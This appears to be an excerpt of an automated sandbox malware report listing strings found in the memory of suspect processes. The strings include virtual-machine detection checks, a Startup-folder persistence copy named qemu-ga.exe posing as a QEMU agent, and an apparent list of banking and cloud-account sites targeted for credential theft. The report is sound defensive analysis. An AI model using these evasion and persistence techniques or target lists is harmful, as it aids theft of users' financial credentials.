                          Source: svchost.exe, 0000002A.00000002.2925602199.00000000030EB000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $]q"SOFTWARE\VMware, Inc.\VMware Tools
                          Source: BA7B.exe, 00000025.00000002.2853073711.00000000030E5000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $]q"SOFTWARE\VMware, Inc.\VMware T
                          Source: E5F3.exe, 0000001E.00000002.3112570020.00000000066E7000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3081910354.0000000002BE2000.00000004.00000800.00020000.00000000.sdmp, qemu-ga.exe.30.drBinary or memory string: FileDescriptionqemu-ga0
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
                          Source: EE23.exe, 00000011.00000002.4435699034.0000000000758000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWP:
                          Source: svchost.exe, 0000002A.00000002.2925602199.00000000030EB000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMware SVGA II
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: outlook.office365.comVMware20,11696428655t
                          Source: E5F3.exe, 0000001E.00000002.3105665897.0000000006500000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: file:///C:/Users/user/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/qemu-ga.exeFh
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: outlook.office.comVMware20,11696428655s
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: ms.portal.azure.comVMware20,11696428655
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: discord.comVMware20,11696428655f
                          Source: 3EE1.exe, 00000024.00000002.3118264047.0000000002601000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: "&vmware_soap_session
                          Source: E5F3.exe, 0000001E.00000002.3112570020.00000000066E7000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3081910354.0000000002BE2000.00000004.00000800.00020000.00000000.sdmp, qemu-ga.exe.30.drBinary or memory string: OriginalFilenameqemu-ga.exe0
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
                          Source: E5F3.exe, 0000001E.00000002.3100132740.0000000004D30000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe" (
                          Source: explorer.exe, 00000002.00000000.2021398786.0000000003530000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware-42 27 d9 2e dc 89 72 dX
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: dev.azure.comVMware20,11696428655j
                          Source: WER3531.tmp.csv.6.drBinary or memory string: "qemu-ga.exe",5808,5,1695744,319,5,104419709,133518935181898049,156250,468750,8,4836532224,4836466688,2856,10764288,10768384,181360,181184,11528,11392,9449472,9515008,9449472,6,0,192,26577,0,3988,172,3628,1,
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: netportal.hdfcbank.comVMware20,11696428655
                          Source: WER3531.tmp.csv.6.drBinary or memory string: "qemu-ga.exe",5052,5,1626112,0,5,44461270,133518935270183137,156250,0,8,4835864576,4835864576,2781,10575872,10579968,180208,180032,11256,11256,9375744,9379840,9375744,6,0,157,26577,0,3148,166,1028,1,
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: AMC password management pageVMware20,11696428655
                          Source: svchost.exe, 0000002A.00000002.2925602199.00000000030EB000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMWARELR]q
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: interactivebrokers.comVMware20,11696428655
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exex2
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: trackpan.utiitsl.comVMware20,11696428655h
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - HKVMware20,11696428655]
                          Source: 78E8.exe.2.drBinary or memory string: VMware
                          Source: 84F5.exe, 0000001D.00000002.2768819569.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2693720803.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2723340396.0000000001981000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2733262118.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2715865211.0000000001981000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2723009346.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2715477905.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2704687266.0000000001980000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWUHQR
                          Source: svchost.exe, 00000006.00000003.3224792374.00000213A7041000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: qemu-ga.exep
                          Source: explorer.exe, 00000002.00000000.2024953260.0000000009B41000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\4&224F42EF&0&000000%
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: interactivebrokers.co.inVMware20,11696428655d
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: global block list test formVMware20,11696428655
                          Source: svchost.exe, 00000006.00000003.3204311923.00000213A7087000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3101200819.0000000004E1F000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3106926194.00000000065DA000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3108252625.00000000066C5000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3081910354.0000000002BE2000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3106278005.0000000006565000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3105830906.0000000006512000.00000004.00000020.00020000.00000000.sdmp, qemu-ga.exe.30.drBinary or memory string: qemu-ga.exe
                          Source: explorer.exe, 00000002.00000000.2024953260.0000000009B2C000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4437394022.0000018DC78CC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435135718.0000018DC7836000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 0000000B.00000003.2408858096.0000000000854000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 0000000B.00000002.2423893393.0000000000854000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 0000000B.00000003.2406813508.0000000000854000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000011.00000002.4435699034.00000000007F1000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4436429533.0000000000928000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4436429533.00000000009B4000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000012.00000003.2439192701.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2624617563.0000000000825000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006591000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start%20Menu\Programs\Startup\qemu-ga.exe
                          Source: svchost.exe, 0000002A.00000002.2925602199.00000000030EB000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMWARE
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: account.microsoft.com/profileVMware20,11696428655u
                          Source: E5F3.exe, 0000001E.00000003.2963241749.0000000004DF5000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2980564951.0000000004DF5000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2980826560.0000000004DF5000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3101200819.0000000004DF5000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2962242788.0000000004DF5000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2985134912.0000000004DF5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll)
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exeC2
                          Source: svchost.exe, 0000002A.00000002.2925602199.00000000030EB000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $]q%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006586000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe8Gd
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006586000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3106278005.0000000006591000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
                          Source: E5F3.exe, 0000001E.00000002.3081910354.0000000002BE2000.00000004.00000800.00020000.00000000.sdmp, qemu-ga.exe.30.drBinary or memory string: qemu-ga
                          Source: explorer.exe, 00000002.00000000.2024953260.0000000009B41000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: NXTcaVMWare
                          Source: svchost.exe, 0000002A.00000002.2938652778.0000000003FBD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMWAREESOFTWARE\VMware, Inc.\VMware Tools
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006591000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Users\user\AppData\Local\Temprosoft\Windows\Start Menu\Programs\Startup\qemu-ga.exee
                          Source: svchost.exe, 0000002A.00000002.2938652778.0000000003FBD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMwareVBoxARun using valid operating system
                          Source: explorer.exe, 00000002.00000000.2024953260.0000000009B41000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware SATA CD00
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: turbotax.intuit.comVMware20,11696428655t
                          Source: build2.exe, 00000015.00000002.2624617563.0000000000906000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004E1F000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3106926194.00000000065DA000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3108252625.00000000066C5000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3106278005.0000000006565000.00000004.00000020.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3105830906.0000000006512000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: qemu-ga.exeH
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
                          Source: svchost.exe, 00000006.00000003.3224792374.00000213A7041000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: qemu-ga.exeX
                          Source: explorer.exe, 00000002.00000000.2022226243.00000000076F8000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}^
                          Source: E5F3.exe, 0000001E.00000002.3100132740.0000000004D30000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe10389479936}"
                          Source: svchost.exe, 0000002A.00000002.2922080900.0000000000CBC000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll4
                          Source: 3EE1.exe, 00000024.00000002.3118264047.0000000002601000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SerialNumber0VMware|VIRTUAL|A M I|XenDselect * from Win32_ComputerSystem
                          Source: build2.exe, 00000015.00000002.2624617563.00000000007C8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMwareVMware
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - HKVMware20,11696428655]
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exee
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006586000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exel
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: interactivebrokers.co.inVMware20,11696428655d
                          Source: E5F3.exe, 0000001E.00000002.3105665897.0000000006500000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: file:///C:/Users/user/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/qemu-ga.exe0h
                          Source: svchost.exe, 0000002A.00000002.2925602199.00000000030EB000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $]q'C:\WINDOWS\system32\drivers\vmmouse.sys
                          Source: explorer.exe, 00000002.00000000.2024953260.0000000009B41000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000_
                          Source: svchost.exe, 00000006.00000003.3067871565.00000213A7087000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: qemu-ga.exeh
                          Source: svchost.exe, 0000002A.00000002.2938652778.0000000003FBD000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: InstallPathKC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\OC:\WINDOWS\system32\drivers\vmmouse.sysMC:\WINDOWS\system32\drivers\vmhgfs.sys
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006586000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exea
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: netportal.hdfcbank.comVMware20,11696428655
                          Source: explorer.exe, 00000002.00000000.2022226243.000000000769A000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Test URL for global passwords blocklistVMware20,11696428655
                          Source: explorer.exe, 00000002.00000000.2022226243.00000000076F8000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}99105f770555d7dd
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Transaction PasswordVMware20,11696428655x
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655
                          Source: explorer.exe, 00000002.00000000.2021398786.0000000003530000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMware, Inc.
                          Source: 78E8.exe.2.drBinary or memory string: Fortinet Technologies (Canada) ULCFortinet Technologies (Canada) Inc.Fortinet TechnologiesFortinet, Inc.Microsoft WindowsMicrosoft Windows PublisherMicrosoft CorporationMicrosoft Windows XP PublisherMicrosoft Windows Component PublisherMicrosoft Windows 2000 PublisherMicrosoft Windows Hardware Compatibility PublisherMacromedia, Inc.Adobe Systems IncorporatedAdobe Systems, IncorporatedMozilla CorporationGoogle IncSkype Technologies SATeamViewerAdvanced Micro Devices, Inc.Aladdin Knowledge Systems LTDSun Microsystems, Inc.Oracle CorporationDell IncApple Inc.VMware, Inc.Intel Corporation - Software and Firmware ProductsSkype Software SarlOracle America, Inc.wintrust.dllCryptCATAdminAcquireContextWinVerifyTrustWTHelperGetProvSignerFromChainWTHelperProvDataFromStateDataCryptCATAdminReleaseContextCryptCATAdminReleaseCatalogContextCryptCATCatalogInfoFromContextCryptCATAdminEnumCatalogFromHashCryptCATAdminCalcHashFromFileHandleIsCatalogFileWTHelperGetProvCertFromChainWTHelperCertFindIssuerCertificatecrypt32.dllCertGetNameStringWCN=OU=MicrosoftAdobe CertGetNameString failed.
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: /C:/Users/user/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/qemu-ga.exe
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Transaction PasswordVMware20,11696428655}
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: outlook.office365.comVMware20,11696428655t
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: account.microsoft.com/profileVMware20,11696428655u
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Transaction PasswordVMware20,11696428655}
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
                          Source: E5F3.exe, 0000001E.00000002.3112570020.00000000066E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: qemu-ga.exeqemu-ga.exe
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.comVMware20,11696428655}
                          Source: E5F3.exe, 0000001E.00000002.3086793780.00000000039BA000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: microsoft.visualstudio.comVMware20,11696428655x
                          Source: E5F3.exe, 0000001E.00000002.3100132740.0000000004D30000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Users\user\AppData\Local\Temp\C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe"C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exeWinsta0\DefaultO=::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files (x86)\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=x86PROCESSOR_ARCHITEW6432=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program Files (x86)ProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsRNAME=userUSERPROFILE=C:\Users\userwindir=C:\Windows=C:\Users\userwindir=C:\Windows_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsONS-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsE=C:\Users\userwindir=C:\WindowsPa..
                          Source: BA7B.exe, 00000025.00000002.2849634642.0000000000DA5000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Transaction PasswordVMware20,11696428655x
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: outlook.office.comVMware20,11696428655s
                          Source: E5F3.exe, 0000001E.00000002.3081910354.0000000002BE2000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $]qYC:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe
                          Source: explorer.exe, 00000002.00000000.2024953260.0000000009B41000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\4&1656f219&0&000000
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006591000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: file//C:UsersuserAppDataRoamingMicrosoftWindowsStart%20MenuProgramsStartupqemu-ga.exe
                          Source: build2.exe, 00000015.00000002.2624617563.0000000000906000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
                          Source: E5F3.exe, 0000001E.00000002.3106278005.0000000006586000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe0
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: tasks.office.comVMware20,11696428655o
                          Source: svchost.exe, 00000009.00000002.4440782569.0000018DC883F000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: NXTVMWare
                          Source: E5F3.exe, 0000001E.00000002.3081910354.0000000002BE2000.00000004.00000800.00020000.00000000.sdmp, qemu-ga.exe.30.drBinary or memory string: <Module>qemu-gamscorlibThreadConsoleReadLineDebuggableAttributeComVisibleAttributeAssemblyTitleAttributeAssemblyTrademarkAttributeTargetFrameworkAttributeAssemblyFileVersionAttributeAssemblyConfigurationAttributeAssemblyDescriptionAttributeCompilationRelaxationsAttributeAssemblyProductAttributeAssemblyCopyrightAttributeAssemblyCompanyAttributeRuntimeCompatibilityAttributeqemu-ga.exeSystem.ThreadingSystem.Runtime.VersioningProgramSystemMainSystem.ReflectionSleep.ctorSystem.DiagnosticsSystem.Runtime.InteropServicesSystem.Runtime.CompilerServicesDebuggingModesargsObject
                          Source: svchost.exe, 0000002A.00000002.2925602199.00000000030EB000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: `,]q"SOFTWARE\VMware, Inc.\VMware Tools
                          Source: E5F3.exe, 0000001E.00000002.3101200819.0000000004DA4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: ,prosoft\Windows\Start%20Menu\Programs\Startup\qemu-ga.exe<=Q*
                          Source: EE23.exe, 0000000B.00000002.2423893393.00000000007F8000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000017.00000002.2544276893.00000000007E2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWH
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
                          Source: EE23.exe, 00000017.00000002.2544276893.0000000000855000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWI
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
                          Source: E5F3.exe, 0000001E.00000002.3086793780.0000000003985000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: trackpan.utiitsl.comVMware20,11696428655h
